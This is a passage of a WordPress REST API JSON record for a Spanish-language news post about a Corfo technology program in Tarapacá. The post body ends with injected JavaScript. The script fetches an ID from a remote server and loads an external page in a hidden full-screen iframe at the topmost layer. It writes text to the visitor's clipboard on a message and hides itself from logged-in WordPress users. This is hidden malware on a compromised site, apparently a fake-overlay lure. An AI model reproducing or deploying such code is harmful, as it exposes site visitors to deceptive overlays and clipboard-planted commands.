\"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Programa de Difusi\u00f3n Tecnol\u00f3gica (PDT), apoyado por Corfo permiti\u00f3 mostrar aplicaciones de automatizaci\u00f3n e inteligencia artificial en entornos empresariales. Con el objetivo de acercar la digitalizaci\u00f3n y las nuevas tecnolog\u00edas a las empresas de la regi\u00f3n, y en el marco del Programa de Difusi\u00f3n Tecnol\u00f3gica para Proveedores de Tarapac\u00e1, impulsado por Corfo, se realiz\u00f3 en&hellip;<\/p>","protected":false},"author":22,"featured_media":42175,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,73,99,275],"tags":[],"class_list":["post-42171","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-noticias-destacadas","category-noticias2","category-principal-home","category-1","category-73","category-99","category-275","description-off"],"_links":{"self":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/42171","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/comments?post=42171"}],"version-history":[{"count":4,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/42171\/revisions"}],"predecessor-version":[{"id":45825,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/42171\/revisions\/45825"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media\/42175"}],"wp:attachment":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media?parent=42171"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/categories?post=42171"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/tags?post=42171"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}